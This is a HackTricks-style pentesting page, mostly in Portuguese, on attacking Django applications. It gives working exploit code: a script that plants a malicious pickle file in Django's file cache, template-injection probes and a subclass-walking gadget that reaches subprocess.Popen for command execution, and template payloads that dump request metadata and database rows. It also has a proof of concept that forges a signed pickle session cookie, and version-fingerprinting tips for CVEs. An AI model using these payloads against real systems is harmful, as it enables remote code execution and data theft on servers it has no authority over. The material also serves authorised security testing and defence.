Django

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Manipulação de cache para RCE

O método padrão de armazenamento de cache do Django é Python pickles, o que pode levar a RCE se untrusted input is unpickled. Se um atacante conseguir acesso de escrita ao cache, ele pode escalar essa vulnerabilidade para RCE no servidor subjacente.

O cache do Django é armazenado em um de quatro locais: Redis, memory, files, ou um database. Cache armazenado em um servidor Redis ou em um database são os vetores de ataque mais prováveis (Redis injection e SQL injection), mas um atacante também pode conseguir usar file-based cache para transformar uma escrita arbitrária em RCE. Os mantenedores marcaram isso como um non-issue. É importante notar que a cache file folder, o SQL table name e os Redis server details variarão conforme a implementação.

No FileBasedCache, o pickled value é escrito em um arquivo em CACHES['default']['LOCATION'] (frequentemente /var/tmp/django_cache/). Se esse diretório for world-writable ou controlado pelo atacante, dropar um malicious pickle sob a cache key esperada resulta em code execution quando a app o lê:

python - <<'PY'
import pickle, os
class RCE:
def __reduce__(self):
return (os.system, ("id >/tmp/pwned",))
open('/var/tmp/django_cache/cache:malicious', 'wb').write(pickle.dumps(RCE(), protocol=4))
PY

Este relatório do HackerOne fornece um ótimo exemplo reproduzível de exploração do cache do Django armazenado em um banco de dados SQLite: https://hackerone.com/reports/1415436


Server-Side Template Injection (SSTI)

The Django Template Language (DTL) is Turing-complete. If user-supplied data is rendered as a template string (for example by calling Template(user_input).render() or when |safe/format_html() removes auto-escaping), an attacker may achieve full SSTI → RCE.

Detecção

  1. Procure por chamadas dinâmicas a Template() / Engine.from_string() / render_to_string() que incluam quaisquer dados de requisição não sanitizados.
  2. Envie um payload baseado em tempo ou aritmético:
{{7*7}}

Se a saída renderizada contiver 49, a entrada foi compilada pelo template engine. 3. DTL is not Jinja2: payloads aritméticos/loops frequentemente levantam TemplateSyntaxError/500 enquanto ainda provam a avaliação. Polyglots como ${{<%[%'"}}% são bons probes para causar crash ou forçar renderização.

Exfiltração de contexto quando RCE está bloqueado

Mesmo que object-walking até subprocess.Popen falhe, DTL ainda expõe objetos no escopo:

{{ request }}               {# confirm SSTI #}
{{ request.META }}           {# leak Gunicorn/UWSGI headers, cookies, proxy info #}
{{ users }}                  {# QuerySet in the context? #}
{{ users.0 }}                {# first row #}
{{ users.values }}           {# dumps dicts of every column (email/flags/plaintext passwords if stored) #}

QuerySet.values() converte linhas em dicionários, contornando __str__ e expondo todos os campos retornados pelo queryset. Isso funciona mesmo quando a execução direta de Python é filtrada.

Padrão de automação: autenticar, obter o CSRF token, salvar um payload com prefixo marcador em qualquer campo persistente (por exemplo, username/profile bio), depois requisitar uma view que o renderize (AJAX endpoints como /likes/<id> são comuns). Parsear um atributo estável (por exemplo, title="...") para recuperar o resultado renderizado e iterar os payloads.

Primitiva para RCE

Django bloqueia o acesso direto a __import__, mas o grafo de objetos do Python é acessível:

{{''.__class__.mro()[1].__subclasses__()}}

Encontre o índice de subprocess.Popen (≈400–500 dependendo da build do Python) e execute arbitrary commands:

{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

Um gadget universal mais seguro é iterar até cls.__name__ == 'Popen'.

O mesmo gadget funciona para Debug Toolbar ou Django-CMS nas funcionalidades de renderização de templates que tratam incorretamente a entrada do usuário.


Veja também: ReportLab/xhtml2pdf PDF export RCE

Aplicações construídas sobre Django comumente integram xhtml2pdf/ReportLab para exportar views como PDF. Quando HTML controlado pelo usuário é enviado ao processo de geração de PDF, rl_safe_eval pode avaliar expressões dentro de colchetes triplos [[[ ... ]]], permitindo execução de código (CVE-2023-33733). Detalhes, payloads e mitigations:

Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733


Se a configuração SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer' estiver habilitada (ou se houver um serializer personalizado que desserializa pickle), o Django descriptografa e desserializa o cookie de sessão antes de chamar qualquer código de view. Portanto, possuir uma signing key válida (o SECRET_KEY do projeto por padrão) é suficiente para execução remota de código imediata.

Requisitos do Exploit

  • O servidor usa PickleSerializer.
  • O atacante conhece / pode adivinhar settings.SECRET_KEY (leaks via GitHub, .env, páginas de erro, etc.).

Prova de Conceito

#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

Envie o cookie resultante, e o payload é executado com as permissões do worker WSGI.

Mitigações: Mantenha o JSONSerializer padrão, rotacione SECRET_KEY, e configure SESSION_COOKIE_HTTPONLY.


Recent (2023-2025) High-Impact Django CVEs Pentesters Should Check

  • CVE-2025-48432Log Injection via unescaped request.path (corrigido em 4 de junho de 2025). Permite que atacantes introduzam novas linhas/códigos ANSI em arquivos de log e envenenem a análise de logs a jusante. Patch level ≥ 4.2.22 / 5.1.10 / 5.2.2.
  • CVE-2024-42005Critical SQL injection em QuerySet.values()/values_list() sobre JSONField (CVSS 9.8). Crie chaves JSON para romper as aspas e executar SQL arbitrário. Corrigido em 4.2.15 / 5.0.8.

Sempre identifique a versão exata do framework via a página de erro X-Frame-Options ou pelo hash de /static/admin/css/base.css e teste os itens acima quando aplicável.


Referências

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks